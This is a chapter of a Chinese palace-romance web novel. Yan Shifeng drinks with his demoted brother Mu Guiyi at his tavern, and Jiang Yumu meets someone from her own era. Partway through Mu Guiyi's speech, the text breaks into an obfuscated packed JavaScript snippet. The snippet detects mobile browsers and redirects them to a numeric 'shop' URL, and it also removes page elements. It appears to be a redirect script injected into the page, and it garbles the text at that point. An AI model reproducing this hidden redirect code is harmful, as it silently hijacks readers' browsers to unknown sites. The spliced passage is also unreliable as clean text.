这其中最为特殊的一份奏折来自忠义侯江连镜。比起奏折,这更像一份家书。被封爵以后,江连镜自请将侯府设在涵州,以便照顾家中长辈。数月以来,甚少与远在京城的江御暮通信。 这天晚上,燕识风一听江御暮提起此事,便如临大敌地问:“他在信里说什么了?” 江御暮语气平静:“他说他身体不适,不宜舟车劳顿,就不来京城贺我大婚之喜了。” 燕识风听罢沉默良久,把江御暮再搂紧几分,转移话题道:“陶瑛姐已经把咱们的婚服做好了,明日就能送来。” 江御暮却不容他转移话题,含笑问道:“你不会现在还在吃他的飞醋吧?” 燕识风没有正面回答,只是这夜格外恃宠而骄,几番花样折腾下来,直到江御暮承诺今后再不拿此事打趣他才罢休。 次日一早,燕识风等不及陶瑛进宫,打算自己去双瑛布庄把婚服取来。途中经过一家酒馆,不知不觉停住了脚步。 这家酒馆的老板不是别人,正是如今被贬作庶民的穆归仪。 其实燕识风与穆归仪并不相熟,但如今时过境迁,对于这位曾经的三皇兄,他还是盼着他好的。 酒馆门口有许多人排队,看得出生意非常火爆。想想也是,前朝金尊玉贵的王爷,如今开了这样一家普普通通的小酒馆,百姓自然会生出好奇心,愿意进来赏光。加之穆归仪平易近人,再无往日跋扈放诞之举,故而人缘和口碑都大有好转。 燕识风在门口徘徊片刻,正犹豫着要不要走进去,穆归仪就已经注意到了他。 迟疑片刻后,穆归仪主动迎出门来,满面笑意道:“客官是第一次来吧?现下若是得闲,不妨进店小酌几杯?” 燕识风今日并未易容,只是戴着面具,因担心说话时声音会暴露身份,他并未开口应声,只对穆归仪摇了摇头以示拒绝。 穆归仪唇边笑意稍浅,坚持道:“喝两杯吧,我请客。” 顿了顿,又压低声音补充道:“好歹兄弟一场,以后也不一定有这个机会。” 燕识风这才确定,原来他早就认出了自己。 惊讶吗?好像也不太惊讶。仔细想想,既然穆归仪连只有几面之缘的费红英都能认出来,又怎么会认不出与他血脉相连的亲兄弟呢? 燕识风对上他期待的眼神,只纠结一瞬,便垂眸唤他道:“多谢……三哥。” 穆归仪终于放松一笑,不知怎的,竟有些想哭。怕在外面丢人,连忙揉了揉眼睛,还欲盖弥彰道:“瞧这破风,动辄就把沙子吹进人眼睛里了。” 回到酒馆,穆归仪把燕识风带入内室,关起门来奉上一坛好酒。 “这酒可是我做王爷时得的赏赐,抄家时本来都被抄走了,后来还是陛下开恩,给我送回来一箱。哎呀,要不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222766|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你嫂子逼我戒酒,只能闻闻香味,我早就把它们喝光了!” 燕识风见他这般话匣大开,便也放松了许多,揶揄道:“既然三嫂给你下了禁令,你怎么还拉着我喝酒?” 穆归仪做贼毫不心虚:“她去京郊踏青了,晚间才能回来。我就小酌两杯,肯定不让她发现。” 燕识风正准备问问:三嫂出去踏青,你怎么不陪她一起? 话未出口,忽又反应过来——穆归仪早先对江御暮承诺过,只要能保住性命,此生绝不再出京城一步。 燕识风连忙把话咽回肚里,主动跟穆归仪干了一杯。 方才虽说只是小酌,奈何一杯下肚勾起馋虫,后续便一发不可收拾了。 晚上回到宫里,看到陶瑛送来的婚服,燕识风才想起自己今天忘了什么事。 “御暮去哪了?”他醉醺醺地问石涅,“这么晚了还在忙吗?” 石涅端来一碗醒酒汤,答道:“应该在御书房吧。听说有人揭了皇榜,陛下亲自去见了。” 燕识风动作一顿,放下汤碗问道:“揭的是第二张皇榜?” 石涅点点头:“正是。” 燕识风听罢,一种莫名的危机感油然而生,顿时变得坐立不安。 江御暮说过,只有和她所属时代相近之人才能答出第二张皇榜上的四个问题。如果世间真有这样的人,自己对她而言就再也不是唯一特殊的同伴了。 “不行,我得去瞧瞧。”燕识风匆忙起身,欲往寝殿外走去。 石涅还未来得及阻拦,江御暮便已回到了寝殿。石涅连忙告退,免得被卷进这桩官司里。 “你喝酒了?”江御暮很快察觉异常。 燕识风点点头,搂住她的腰,尽量表现出完全清醒的样子:“没喝醉。” 江御暮无奈一笑,拖着他去床边坐下,无需她催,燕识风很自觉地喝完了剩下半碗醒酒汤。 “你找到想找的人了吗?”他开门见山。 “算是吧。”江御暮想了想,轻啧一声道,“虽然算不上高精尖人才,至少是个成绩不错的理科生,编写初级教材肯定够用,想掀起工业革命就没那么容易了。不过也不必急于一时,说不定还有我没找到的可用之人呢。” 燕识风听得一知半解,环住她的腰,情绪沉沉道:“他和你是同一时代的人吗?” 江御暮如实答道:“差不多。比我早生几年,晚死几年。” 燕识风深深一叹,半抱怨半撒娇道:“你可不要只闻新人笑,不闻旧人哭啊。” 江御暮微微一怔,继而失笑,捧着燕识风的脸,认真看着他的双眼道:“我的旧人是穆归衡,新人是你。这算什么,哭笑不得?” 燕识风握住她的手腕,轻吻她的掌心,垂眸道:“或许我就是喜欢杞人忧天吧。” 江御暮环住他的脖颈,莞尔道:“你要相信我爱你,不要总是胡思乱想,患得患失。” 燕识风睫毛忽而一颤,这是他第一次从她口中听到这三个字。 他紧接着抬眸与她对视,轻声道:“你再说一遍。” 江御暮删繁就简,一字一顿:“我爱你。” “再说一遍。” “我爱你。” “再说一遍。” “……”江御暮忽然住口。 燕识风又摆出一副委屈巴巴的表情:“为什么不说了?你不爱我了!” 江御暮斜他一眼:“醉鬼,就算跟你说再多遍,明天醒来你也什么都不记得了。” 不过没关系,他们的日子还长,还有许多值得铭记的事。